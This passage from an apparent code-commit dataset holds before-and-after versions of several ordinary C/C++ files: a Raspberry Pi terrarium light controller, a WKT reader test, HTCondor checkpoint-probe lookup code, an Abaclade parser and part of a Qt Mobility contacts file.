system(\"\/usr\/bin\/gpio mode 8 out\");\n  system(\"\/usr\/bin\/gpio mode 9 out\");\n  snprintf(buffer, sizeof(buffer), \"\/usr\/bin\/gpio write 8 %d\", (int)(lights));\n  system(buffer);\n  snprintf(buffer, sizeof(buffer), \"\/usr\/bin\/gpio write 9 %d\", (int)(riseordawn));\n  system(buffer);\n  if ((red > 0) && (red < 1)) {\n    ofstream filehandler;\n    string filename = \"\/dev\/pi-blaster\";\n    filehandler.open(filename.c_str());\n    if (filehandler.is_open()) {\n      filehandler << \"14=\" << red << endl;\n      filehandler << \"15=\" << green << endl;\n      filehandler << \"18=\" << blue << endl;\n      filehandler.close();\n    }\n  }\n}\n\nstruct julian calcjtimes(time_t t) {\n\n  struct tm *current_time = gmtime(&t);\n  \/\/ longitude west of magdeburg\n  double low = -11.6322;\n  \/\/ latitude of magdeburg\n  double lam = 52.1243;\n  \/\/ latitude of madagascar (if it were on northern hemishpere)\n  \/\/ double lam=22.5;\n\n  \/\/ calculate julian day number based on\n  \/\/ https:\/\/de.wikipedia.org\/wiki\/Julianisches_Datum\n  int m = current_time->tm_mon + 1;\n  int y = current_time->tm_year + 1900;\n  if (m <= 2) {\n    m += 12;\n    y--;\n  }\n  int d = current_time->tm_mday;\n  int a = floor((y) \/ 100);\n  double b = 2 - a + floor(a \/ 4);\n  double jd = floor(365.25 * (y + 4716)) + floor(30.6001 * (m + 1)) + d + b - 1524.5;\n\n  \/\/ calculation of sunrise based on\n  \/\/ https:\/\/en.wikipedia.org\/wiki\/Sunrise_equation\n  \/\/ current julian day\n  double n = jd - 2451545 + 0.0008;\n  \/\/ mean solar noon\n  double js = low \/ 360 + n;\n  \/\/ mean anomaly\n  double ma = fmod((357.5291 + 0.98560028 * js), 360);\n  \/\/ equation of the center\n  double c = 1.9148 * sin(ma * torad) + 0.02 * sin(2 * ma * torad) + 0.0003 * sin(3 * ma * torad);\n  \/\/ ecliptic longitude\n  double l = fmod((ma + c + 180 + 102.9372), 360);\n  \/\/ solar transit - it seems they have forgotten the 2451545.5 on the wikipedia\n  \/\/ page. or i did not understand correctly.\n  double jt = 2451545.5 + js + 0.0053 * sin(ma * torad) - 0.0069 * sin(2 * l * torad);\n  \/\/ declination of the sun\n  double de = asin(sin(l * torad) * sin(23.44 * torad)) * todeg;\n  \/\/ hour angle\n  double w =\n      acos((sin(-0.83 * torad) - sin(lam * torad) * sin(de * torad)) \/ (cos(lam * torad) * cos(de * torad))) * todeg;\n\n  double jset = jt + w \/ 360;\n  double jrise = jt - w \/ 360;\n\n  struct julian cjt = {jrise, jset};\n\n  return cjt;\n}\n\nint main() {\n  cout << \"starting up...\" << endl;\n  time_t now = time(0);\n  struct tm *nowt;\n  int nowd = localtime(&now)->tm_yday;\n  int curd = nowd + 1;\n  struct julian jt;\n\n  double sunrise;\n  double sunset;\n  double lightson;\n  double lightsoff;\n  double dawn;\n  double dusk;\n\n  \/\/ better float precision for debugging purposes\n  std::cout.setf(std::ios_base::fixed, std::ios_base::floatfield);\n  std::cout.precision(10);\n\n  \/\/ here is the main loop, that just loops over and over again\n  while (true) {\n    now = time(0);\n    nowt = localtime(&now);\n    nowd = nowt->tm_yday;\n    if (nowd != curd) {\n      cout << \"a new day\" << endl;\n      \/\/ the day changed, so this is a new day\n      curd = nowd;\n      jt = calcjtimes(now);\n\n      \/\/ now we have the correct times. first skip the acutal\n      \/\/ date because i only need the times. as julian day .5 is\n      \/\/ 00:00 gmt we have to subtract .5 so we get the correct\n      \/\/ values for hour, minute and second.\n      \/\/ they will be shifted so\n      \/\/ the day of the terrarium matches the day of the owners and\n      \/\/ also i want to have a nice dawn and dusk.\n      \/\/ the dawn and dusk will spread evenly before and after\n      \/\/ the actal sunrise\n\n      sunrise = (jt.jrise - .5 - floor(jt.jrise - .5)) + mstep * 60;\n      sunset = (jt.jset - .5 - floor(jt.jset - .5)) + mstep * 60;\n      lightson = sunrise + riseduration \/ 2;\n      lightsoff = sunset - riseduration \/ 2;\n      dawn = sunrise - riseduration \/ 2;\n      dusk = sunset + riseduration \/ 2;\n\n      \/\/ write everything to the log\n      cout << \"name        julian time | utc\" << endl;\n      cout << \"sunrise:    \" << sunrise << \"|\" << j2h(sunrise) << endl;\n      cout << \"sunset:     \" << sunset << \"|\" << j2h(sunset) << endl;\n      cout << \"lights on:  \" << lightson << \"|\" << j2h(lightson) << endl;\n      cout << \"lights off: \" << lightsoff << \"|\" << j2h(lightsoff) << endl;\n      cout << \"dawn start: \" << dawn << \"|\" << j2h(dawn) << endl;\n      cout << \"dusk stop:  \" << dusk << \"|\" << j2h(dusk) << endl;\n\n      \/\/ write everything zo a file\n      ofstream filehandler;\n      string filename = \"\/dev\/shm\/terrarium_times\";\n      filehandler.open(filename.c_str());\n      if (filehandler.is_open()) {\n        filehandler << \"sunrise \" << sunrise << \" \" << j2h(sunrise) << endl;\n        filehandler << \"sunset \" << sunrise << \" \" << j2h(sunset) << endl;\n        filehandler << \"start dawn \" << sunrise << \" \" << j2h(dawn) << endl;\n        filehandler << \"start daylight \" << sunrise << \" \" << j2h(lightson) << endl;\n        filehandler << \"stop daylight \" << sunrise << \" \" << j2h(lightsoff) << endl;\n        filehandler << \"stop dusk \" << sunrise << \" \" << j2h(dusk) << endl;\n        filehandler.close();\n      }\n    }\n    \/\/ sleep for a second\n    usleep(1000000);\n    \/\/ set the lights\n    setlights(nowt->tm_hour * hstep + nowt->tm_min * mstep + nowt->tm_sec * sstep, dawn, sunrise, sunset, dusk);\n  }\n  \/\/ this will never be reached, but anyway\n  return 0;\n}\n<|endoftext|>"}
{"text":"<commit_before>\/\/ CTS.cpp : Testing class\n\/\/\n\n#include <iostream>\n#include <fstream>\n\n#include \"..\/headers\/io.h\"\n\nusing namespace std;\n\nint main(int argc, char** argv)\n{\n    \n\ttry {\n\t\tofstream out(\"WKTOut\");\n\t\tifstream in(\"WKTIn\");\n\t\tstring instr;\n\t\tstring outstr;\n\t\tWKTReader *r = new WKTReader(GeometryFactory(PrecisionModel(),10));\n\t\tWKTWriter *w=new WKTWriter();\n\t\tGeometry *g;\n\n\t\tcout << \"Start Testing:\" << endl;\n\t\twhile(!in.eof()) {\n\t\t\t&getline(in,instr);\n\t\t\tif (instr!=\"\") {\n\t\t\t\tg=r->read(instr);\n\t\t\t\toutstr=w->write(g);\n\t\t\t\tout << \"----------\" << endl;\n\t\t\t\tout << instr << endl;\n\t\t\t\tout << outstr << endl;\n\t\t\t\tout << \"----------\" << endl << endl;\n\t\t\t}\n\t\t}\n\t\tout.flush();\n\t\tout.close();\n\t\tcout << \"End of Testing\" << endl;\n\n\t} catch (char *message){\n        cout << message << endl;\n\t} catch (ParseException pe) {\n\t\tcout << pe.toString() << endl;\n\t}\n\n\treturn 0;\n}\n\n<commit_msg>Fixed small bug in call to GeometryFactory (instantiate PrecisionModel with new)<commit_after>\/\/ CTS.cpp : Testing class\n\/\/\n\n#include <iostream>\n#include <fstream>\n\n#include \"..\/headers\/io.h\"\n\nusing namespace std;\n\nint main(int argc, char** argv)\n{\n    \n\ttry {\n\t\tofstream out(\"WKTOut\");\n\t\tifstream in(\"WKTIn\");\n\t\tstring instr;\n\t\tstring outstr;\n\t\tWKTReader *r = new WKTReader(GeometryFactory(new PrecisionModel(),10));\n\t\tWKTWriter *w=new WKTWriter();\n\t\tGeometry *g;\n\n\t\tcout << \"Start Testing:\" << endl;\n\t\twhile(!in.eof()) {\n\t\t\t&getline(in,instr);\n\t\t\tif (instr!=\"\") {\n\t\t\t\tg=r->read(instr);\n\t\t\t\toutstr=w->write(g);\n\t\t\t\tout << \"----------\" << endl;\n\t\t\t\tout << instr << endl;\n\t\t\t\tout << outstr << endl;\n\t\t\t\tout << \"----------\" << endl << endl;\n\t\t\t}\n\t\t}\n\t\tout.flush();\n\t\tout.close();\n\t\tcout << \"End of Testing\" << endl;\n\n\t} catch (char *message){\n        cout << message << endl;\n\t} catch (ParseException pe) {\n\t\tcout << pe.toString() << endl;\n\t}\n\n\treturn 0;\n}\n\n<|endoftext|>"}
{"text":"<commit_before>\/***************************************************************\n *\n * Copyright (C) 1990-2007, Condor Team, Computer Sciences Department,\n * University of Wisconsin-Madison, WI.\n * \n * Licensed under the Apache License, Version 2.0 (the \"License\"); you\n * may not use this file except in compliance with the License.  You may\n * obtain a copy of the License at\n * \n *    http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n * \n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\n ***************************************************************\/\n\n\n#include \"condor_common.h\"\n#include \"condor_config.h\"\n#include \"condor_debug.h\"\n#include \"sysapi.h\"\n#include \"sysapi_externs.h\"\n#include \"my_popen.h\"\n\nstatic char *_sysapi_vsyscall_gate_addr = NULL;\n\n#define BUFFER_SIZE 2048\n\n\/* The memory returned from here must be freed *\/\nstatic char* find_ckpt_probe(void);\n\nstatic char* find_ckpt_probe(void)\n{\n\tchar *tmp = NULL;\n\tchar *tmp2 = NULL;\n\n\ttmp = param(\"CKPT_PROBE\");\n\n\tif (tmp != NULL) {\n\t\treturn tmp;\n\t}\n\n\ttmp = param(\"LIBEXEC\");\n\n\tif (tmp != NULL) {\n\t\ttmp2 = (char *) malloc(strlen(tmp) + strlen(\"\/condor_ckpt_probe\") + 1);\n\t\tif (tmp2 == NULL) {\n\t\t\tEXCEPT(\"Out of memory!\");\n\t\t}\n\n\t\t\/* build up the path to the probe process *\/\n\t\tstrcpy(tmp2, tmp);\n\t\tstrcat(tmp2, \"\/condor_ckpt_probe\");\n\t\tfree(tmp);\n\n\t\t\/* now check to see if it exists *\/\n\t\tif (access(tmp2, X_OK) < 0) {\n\t\t\t\/* Nope, it isn't there *\/\n\t\t\tfree(tmp2);\n\t\t\treturn NULL;\n\t\t}\n\n\t\t\/* Ok it is executable, give it back to the caller *\/\n\t\treturn tmp2;\n\t}\n\n\ttmp = param(\"RELEASE_DIR\");\n\n\tif (tmp != NULL) {\n\t\ttmp2 = (char*) malloc(strlen(tmp) + strlen(\"\/libexec\/condor_ckpt_probe\") + 1);\n\t\tif (tmp2 == NULL) {\n\t\t\tEXCEPT(\"Out of memory!\");\n\t\t}\n\n\t\t\/* build up the path to the probe process *\/\n\t\tstrcpy(tmp2, tmp);\n\t\tstrcat(tmp2, \"\/libexec\/condor_ckpt_probe\");\n\t\tfree(tmp);\n\n\t\t\/* now check to see if it exists *\/\n\t\tif (access(tmp2, X_OK) < 0) {\n\t\t\t\/* Nope, it isn't there *\/\n\t\t\tfree(tmp2);\n\t\t\treturn NULL;\n\t\t}\n\n\t\t\/* Ok it is executable, give it back to the caller *\/\n\t\treturn tmp2;\n\t}\n\n\treturn NULL;\n}\n\n\/* the raw version *\/\n\/* Do not free the returned pointer *\/\nconst char *\nsysapi_vsyscall_gate_addr_raw(void)\n{\n\tchar *tmp;\n\tchar *cmd[3];\n\tFILE *fin;\n\tchar buf[BUFFER_SIZE];\n\tchar addr[BUFFER_SIZE];\n\n\t\/* immediately set this up if it isn't already *\/\n\tif (_sysapi_vsyscall_gate_addr == NULL) {\n\t\t\/* Set this up immediately for the rest of the algorithm *\/\n\t\t_sysapi_vsyscall_gate_addr = strdup(\"N\/A\");\n\t}\n\n#if defined(LINUX)\n\tif (strcmp(_sysapi_vsyscall_gate_addr, \"N\/A\") == MATCH) {\n\n\t\t\/* get the probe process executable *\/\n\t\ttmp = find_ckpt_probe();\n\t\tif (tmp == NULL) {\n\t\t\t\/* Can't find it at all, so bail *\/\n\t\t\treturn _sysapi_vsyscall_gate_addr;\n\t\t}\n\n\t\t\/* exec probe *\/\n\t\tcmd[0] = tmp;\n\t\tcmd[1] = \"--vdso-addr\";\n\t\tcmd[2] = NULL;\n\t\tfin = my_popenv(cmd, \"r\", TRUE);\n\t\tfree(tmp);\n\t\tif (fin == NULL) {\n\t\t\tdprintf(D_ALWAYS, \"my_popenv failed\\n\");\n\t\t\treturn _sysapi_vsyscall_gate_addr;\n\t\t}\n\t\tif (fgets(buf, BUFFER_SIZE, fin) == NULL) {\n\t\t\tmy_pclose(fin);\n\t\t\tdprintf(D_ALWAYS, \"fgets failed\\n\");\n\t\t\treturn _sysapi_vsyscall_gate_addr;\n\t\t}\n\t\tmy_pclose(fin);\n\n\t\tif (sscanf(buf, \"VDSO: %s\\n\", addr) != 1) {\n\t\t\tdprintf(D_ALWAYS, \"sscanf didn't parse correctly\\n\");\n\t\t\treturn _sysapi_vsyscall_gate_addr;\n\t\t}\n\n\t\/* set up global with correct vdso address *\/\n\t\tif(_sysapi_vsyscall_gate_addr == NULL) {\n\t\t\tEXCEPT(\"Programmer error! _sysapi_vsyscall_gate_addr == NULL\");\n\t\t}\n\t\tfree(_sysapi_vsyscall_gate_addr);\n\t\t_sysapi_vsyscall_gate_addr = strdup(addr);\n\t}\n#endif\n\n\treturn _sysapi_vsyscall_gate_addr;\n}\n\n\/* the cooked version *\/\n\/* Do not free the returned pointer *\/\nconst char *\nsysapi_vsyscall_gate_addr(void)\n{\t\n\tsysapi_internal_reconfig();\n\n\treturn sysapi_vsyscall_gate_addr_raw();\n}\n\n\n<commit_msg>Removed param() of LIBEXEC and RELEASE_DIR from find_ckpt_probe(). CKPT_PROBE has been around since 7.0 and will be used exclusively.<commit_after>\/***************************************************************\n *\n * Copyright (C) 1990-2007, Condor Team, Computer Sciences Department,\n * University of Wisconsin-Madison, WI.\n * \n * Licensed under the Apache License, Version 2.0 (the \"License\"); you\n * may not use this file except in compliance with the License.  You may\n * obtain a copy of the License at\n * \n *    http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n * \n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\n ***************************************************************\/\n\n\n#include \"condor_common.h\"\n#include \"condor_config.h\"\n#include \"condor_debug.h\"\n#include \"sysapi.h\"\n#include \"sysapi_externs.h\"\n#include \"my_popen.h\"\n\nstatic char *_sysapi_vsyscall_gate_addr = NULL;\n\n#define BUFFER_SIZE 2048\n\n\/* The memory returned from here must be freed *\/\nstatic char* find_ckpt_probe(void);\n\nstatic char* find_ckpt_probe(void)\n{\n\treturn param(\"CKPT_PROBE\");\n}\n\n\/* the raw version *\/\n\/* Do not free the returned pointer *\/\nconst char *\nsysapi_vsyscall_gate_addr_raw(void)\n{\n\tchar *tmp;\n\tchar *cmd[3];\n\tFILE *fin;\n\tchar buf[BUFFER_SIZE];\n\tchar addr[BUFFER_SIZE];\n\n\t\/* immediately set this up if it isn't already *\/\n\tif (_sysapi_vsyscall_gate_addr == NULL) {\n\t\t\/* Set this up immediately for the rest of the algorithm *\/\n\t\t_sysapi_vsyscall_gate_addr = strdup(\"N\/A\");\n\t}\n\n#if defined(LINUX)\n\tif (strcmp(_sysapi_vsyscall_gate_addr, \"N\/A\") == MATCH) {\n\n\t\t\/* get the probe process executable *\/\n\t\ttmp = find_ckpt_probe();\n\t\tif (tmp == NULL) {\n\t\t\t\/* Can't find it at all, so bail *\/\n\t\t\treturn _sysapi_vsyscall_gate_addr;\n\t\t}\n\n\t\t\/* exec probe *\/\n\t\tcmd[0] = tmp;\n\t\tcmd[1] = \"--vdso-addr\";\n\t\tcmd[2] = NULL;\n\t\tfin = my_popenv(cmd, \"r\", TRUE);\n\t\tfree(tmp);\n\t\tif (fin == NULL) {\n\t\t\tdprintf(D_ALWAYS, \"my_popenv failed\\n\");\n\t\t\treturn _sysapi_vsyscall_gate_addr;\n\t\t}\n\t\tif (fgets(buf, BUFFER_SIZE, fin) == NULL) {\n\t\t\tmy_pclose(fin);\n\t\t\tdprintf(D_ALWAYS, \"fgets failed\\n\");\n\t\t\treturn _sysapi_vsyscall_gate_addr;\n\t\t}\n\t\tmy_pclose(fin);\n\n\t\tif (sscanf(buf, \"VDSO: %s\\n\", addr) != 1) {\n\t\t\tdprintf(D_ALWAYS, \"sscanf didn't parse correctly\\n\");\n\t\t\treturn _sysapi_vsyscall_gate_addr;\n\t\t}\n\n\t\/* set up global with correct vdso address *\/\n\t\tif(_sysapi_vsyscall_gate_addr == NULL) {\n\t\t\tEXCEPT(\"Programmer error! _sysapi_vsyscall_gate_addr == NULL\");\n\t\t}\n\t\tfree(_sysapi_vsyscall_gate_addr);\n\t\t_sysapi_vsyscall_gate_addr = strdup(addr);\n\t}\n#endif\n\n\treturn _sysapi_vsyscall_gate_addr;\n}\n\n\/* the cooked version *\/\n\/* Do not free the returned pointer *\/\nconst char *\nsysapi_vsyscall_gate_addr(void)\n{\t\n\tsysapi_internal_reconfig();\n\n\treturn sysapi_vsyscall_gate_addr_raw();\n}\n\n\n<|endoftext|>"}
{"text":"<commit_before>﻿\/* -*- coding: utf-8; mode: c++; tab-width: 3; indent-tabs-mode: nil -*-\n\nCopyright 2016 Raffaello D. Di Napoli\n\nThis file is part of Abaclade.\n\nAbaclade is free software: you can redistribute it and\/or modify it under the terms of the GNU\nLesser General Public License as published by the Free Software Foundation, either version 3 of the\nLicense, or (at your option) any later version.\n\nAbaclade is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even\nthe implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser\nGeneral Public License for more details.\n\nYou should have received a copy of the GNU Lesser General Public License along with Abaclade. If\nnot, see <http:\/\/www.gnu.org\/licenses\/>.\n--------------------------------------------------------------------------------------------------*\/\n\n#include <abaclade.hxx>\n#include <abaclade\/from_str.hxx>\n#include <abaclade\/text.hxx>\n\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\nnamespace abc { namespace _pvt {\n\nvoid throw_on_unused_from_str_chars(io::text::str_istream const & sis) {\n   if (std::size_t cchRemaining = sis.remaining_size_in_chars()) {\n      \/\/ There are still unused characters in sis, so the conversion failed.\n      str const & sSrc = sis.get_str();\n      ABC_THROW(text::syntax_error, (\n         ABC_SL(\"unexpected character\"), sSrc,\n         static_cast<unsigned>(sSrc.index_from_char_index(sSrc.size_in_chars() - cchRemaining))\n      ));\n   }\n}\n\n}} \/\/namespace abc::_pvt\n\nnamespace abc {\n\nvoid throw_on_unused_streaming_format_chars(\n   str::const_iterator const & itFormatConsumedEnd, str const & sFormat\n) {\n   if (itFormatConsumedEnd != sFormat.cend()) {\n      ABC_THROW(text::syntax_error, (\n         ABC_SL(\"unexpected character in format string\"), sFormat,\n         static_cast<unsigned>(itFormatConsumedEnd - sFormat.cbegin())\n      ));\n   }\n}\n\n} \/\/namespace abc\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\nnamespace abc {\n\nfrom_text_istream<bool>::from_text_istream() :\n   m_sTrue(ABC_SL(\"true\")),\n   m_sFalse(ABC_SL(\"false\")) {\n}\n\nvoid from_text_istream<bool>::set_format(str const & sFormat) {\n   ABC_TRACE_FUNC(this, sFormat);\n\n   throw_on_unused_streaming_format_chars(sFormat.cbegin(), sFormat);\n}\n\nvoid from_text_istream<bool>::read(bool * pb, io::text::istream * ptis) {\n   ABC_TRACE_FUNC(this, pb, ptis);\n\n   sstr<16> sRead;\n   for (str sPeek; (sPeek = ptis->peek_chars(1)); ptis->consume_chars(sPeek.size_in_chars())) {\n      for (auto itPeek(sPeek.cbegin()), itPeekEnd(sPeek.cend()); itPeek != itPeekEnd; ++itPeek) {\n         char32_t cp = *itPeek;\n         \/\/ TODO: replace this with the UCD equivalent of \\w from abc::text.\n         if ((cp < '0' || cp > '9') && (cp < 'A' || cp > 'Z') && (cp < 'a' || cp > 'z')) {\n            \/\/ Consume all preceding characters and stop.\n            ptis->consume_chars(itPeek.char_index());\n            goto break_outer_while;\n         }\n         sRead += cp;\n      }\n   }\nbreak_outer_while:\n   if (sRead == m_sTrue) {\n      *pb = true;\n   } else if (sRead == m_sFalse) {\n      *pb = false;\n   } else {\n      ptis->unconsume_chars(sRead.str());\n      \/\/ TODO: provide more information in the exception and\/or use a better exception class.\n      ABC_THROW(text::syntax_error, (ABC_SL(\"unrecognized input\"), sRead));\n   }\n}\n\n} \/\/namespace abc\n<commit_msg>Rename label<commit_after>﻿\/* -*- coding: utf-8; mode: c++; tab-width: 3; indent-tabs-mode: nil -*-\n\nCopyright 2016 Raffaello D. Di Napoli\n\nThis file is part of Abaclade.\n\nAbaclade is free software: you can redistribute it and\/or modify it under the terms of the GNU\nLesser General Public License as published by the Free Software Foundation, either version 3 of the\nLicense, or (at your option) any later version.\n\nAbaclade is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even\nthe implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser\nGeneral Public License for more details.\n\nYou should have received a copy of the GNU Lesser General Public License along with Abaclade. If\nnot, see <http:\/\/www.gnu.org\/licenses\/>.\n--------------------------------------------------------------------------------------------------*\/\n\n#include <abaclade.hxx>\n#include <abaclade\/from_str.hxx>\n#include <abaclade\/text.hxx>\n\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\nnamespace abc { namespace _pvt {\n\nvoid throw_on_unused_from_str_chars(io::text::str_istream const & sis) {\n   if (std::size_t cchRemaining = sis.remaining_size_in_chars()) {\n      \/\/ There are still unused characters in sis, so the conversion failed.\n      str const & sSrc = sis.get_str();\n      ABC_THROW(text::syntax_error, (\n         ABC_SL(\"unexpected character\"), sSrc,\n         static_cast<unsigned>(sSrc.index_from_char_index(sSrc.size_in_chars() - cchRemaining))\n      ));\n   }\n}\n\n}} \/\/namespace abc::_pvt\n\nnamespace abc {\n\nvoid throw_on_unused_streaming_format_chars(\n   str::const_iterator const & itFormatConsumedEnd, str const & sFormat\n) {\n   if (itFormatConsumedEnd != sFormat.cend()) {\n      ABC_THROW(text::syntax_error, (\n         ABC_SL(\"unexpected character in format string\"), sFormat,\n         static_cast<unsigned>(itFormatConsumedEnd - sFormat.cbegin())\n      ));\n   }\n}\n\n} \/\/namespace abc\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\nnamespace abc {\n\nfrom_text_istream<bool>::from_text_istream() :\n   m_sTrue(ABC_SL(\"true\")),\n   m_sFalse(ABC_SL(\"false\")) {\n}\n\nvoid from_text_istream<bool>::set_format(str const & sFormat) {\n   ABC_TRACE_FUNC(this, sFormat);\n\n   throw_on_unused_streaming_format_chars(sFormat.cbegin(), sFormat);\n}\n\nvoid from_text_istream<bool>::read(bool * pb, io::text::istream * ptis) {\n   ABC_TRACE_FUNC(this, pb, ptis);\n\n   sstr<16> sRead;\n   for (str sPeek; (sPeek = ptis->peek_chars(1)); ptis->consume_chars(sPeek.size_in_chars())) {\n      for (auto itPeek(sPeek.cbegin()), itPeekEnd(sPeek.cend()); itPeek != itPeekEnd; ++itPeek) {\n         char32_t cp = *itPeek;\n         \/\/ TODO: replace this with the UCD equivalent of \\w from abc::text.\n         if ((cp < '0' || cp > '9') && (cp < 'A' || cp > 'Z') && (cp < 'a' || cp > 'z')) {\n            \/\/ Consume all preceding characters and stop.\n            ptis->consume_chars(itPeek.char_index());\n            goto break_outer_for;\n         }\n         sRead += cp;\n      }\n   }\nbreak_outer_for:\n   if (sRead == m_sTrue) {\n      *pb = true;\n   } else if (sRead == m_sFalse) {\n      *pb = false;\n   } else {\n      ptis->unconsume_chars(sRead.str());\n      \/\/ TODO: provide more information in the exception and\/or use a better exception class.\n      ABC_THROW(text::syntax_error, (ABC_SL(\"unrecognized input\"), sRead));\n   }\n}\n\n} \/\/namespace abc\n<|endoftext|>"}
{"text":"<commit_before>\/****************************************************************************\n**\n** Copyright (C) 2009 Nokia Corporation and\/or its subsidiary(-ies).\n** All rights reserved.\n** Contact: Nokia Corporation (qt-info@nokia.com)\n**\n** This file is part of the Qt Mobility Components.\n**\n** $QT_BEGIN_LICENSE:LGPL$\n** No Commercial Usage\n** This file contains pre-release code and may not be distributed.\n** You may use this file in accordance with the terms and conditions\n** contained in the Technology Preview License Agreement accompanying\n** this package.\n**\n** GNU Lesser General Public License Usage\n** Alternatively, this file may be used under the terms of the GNU Lesser\n** General Public License version 2.1 as published by the Free Software\n** Foundation and appearing in the file LICENSE.LGPL included in the\n** packaging of this file.  Please review the following information to\n** ensure the GNU Lesser General Public License version 2.1 requirements\n** will be met: http:\/\/www.gnu.org\/licenses\/old-licenses\/lgpl-2.1.html.\n**\n** In addition, as a special exception, Nokia gives you certain additional\n** rights.  These rights are described in the Nokia Qt LGPL Exception\n** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.\n**\n** If you have questions regarding the use of this file, please contact\n** Nokia at qt-info@nokia.com.\n**\n**\n**\n**\n**\n**\n**\n**\n** $QT_END_LICENSE$\n**\n****************************************************************************\/\n\n#include \"qcontactabstractrequest.h\"\n#include \"qcontactabstractrequest_p.h\"\n#include \"qcontactmanager.h\"\n#include \"qcontactmanager_p.h\"\n#include \"qcontactmanagerengine.h\"\n\n\nQTM_BEGIN_NAMESPACE\n\/*!\n  \\class QContactAbstractRequest\n\n  \\brief The QContactAbstractRequest class provides a mechanism for\n  asynchronous requests to be made of a manager if it supports them.\n\n  \\ingroup contacts-main\n\n  It allows a client to asynchronously request some functionality of a\n  particular QContactManager.\n *\/\n\n\/*!\n  \\fn QContactAbstractRequest::stateChanged(QContactAbstractRequest::State newState)\n  This signal is emitted when the state of the request is changed.  The new state of\n  the request will be contained in \\a newState.\n *\/\n\n\n\/*!\n  \\fn QContactAbstractRequest::resultsAvailable()\n  This signal is emitted when new results are available.  Results can include\n  the operation error which may be accessed via error(), or derived-class-specific\n  results which are accessible through the derived class API.\n\n  \\sa error()\n *\/\n\n\/*!\n  \\enum QContactAbstractRequest::RequestType\n  Enumerates the various possible types of asynchronous requests\n  \\value InvalidRequest An invalid request\n  \\value ContactFetchRequest A request to fetch a list of contacts\n  \\value ContactLocalIdFetchRequest A request to fetch a list of local contact ids\n  \\value ContactRemoveRequest A request to remove a list of contacts\n  \\value ContactSaveRequest A request to save a list of contacts\n  \\value DetailDefinitionFetchRequest A request to fetch a collection of detail definitions\n  \\value DetailDefinitionRemoveRequest A request to remove a list of detail definitions\n  \\value DetailDefinitionSaveRequest A request to save a list of detail definitions\n  \\value RelationshipFetchRequest A request to fetch relationships between contacts\n  \\value RelationshipRemoveRequest A request to remove any relationships which match the request criteria\n  \\value RelationshipSaveRequest A request to save a list of relationships\n *\/\n\n\/*!\n  \\enum QContactAbstractRequest::Status\n  \\internal\n  Enumerates the various states that a request may be in at any given time.  Deprecated - use QContactAbstractRequest::State instead!\n  \\value Inactive Operation not yet started\n  \\value Active Operation started, not yet finished\n  \\value Cancelling Operation started then cancelled, not yet finished\n  \\value Cancelled Operation is finished due to cancellation\n  \\value Finished Operation successfully completed\n *\/\n\n\/*!\n  \\enum QContactAbstractRequest::State\n  Enumerates the various states that a request may be in at any given time\n  \\value InactiveState Operation not yet started\n  \\value ActiveState Operation started, not yet finished\n  \\value CanceledState Operation is finished due to cancellation\n  \\value FinishedState Operation successfully completed\n *\/\n\n\/*!\n  \\fn QContactAbstractRequest::QContactAbstractRequest()\n  Constructs a new, invalid asynchronous request\n *\/\n\n\/*! Constructs a new request from the given request data \\a otherd *\/\nQContactAbstractRequest::QContactAbstractRequest(QContactAbstractRequestPrivate* otherd)\n    : d_ptr(otherd)\n{\n}\n\n\/*! Cleans up the memory used by this request *\/\nQContactAbstractRequest::~QContactAbstractRequest()\n{\n    if (d_ptr) {\n        QContactManagerEngine *engine = QContactManagerData::engine(d_ptr->m_manager);\n        if (engine) {\n            engine->requestDestroyed(this);\n        }\n\n        delete d_ptr;\n    }\n}\n\n\/*!\n  Returns true if the request is in the \\c QContactAbstractRequest::InactiveState state; otherwise, returns false\n\n  \\sa state()\n *\/\nbool QContactAbstractRequest::isInactive() const\n{\n    return (d_ptr->m_state == QContactAbstractRequest::InactiveState);\n}\n\n\/*!\n  Returns true if the request is in the \\c QContactAbstractRequest::ActiveState state; otherwise, returns false\n\n  \\sa state()\n *\/\nbool QContactAbstractRequest::isActive() const\n{\n    return (d_ptr->m_state == QContactAbstractRequest::ActiveState);\n}\n\n\/*!\n  Returns true if the request is in the \\c QContactAbstractRequest::FinishedState; otherwise, returns false\n\n  \\sa state()\n 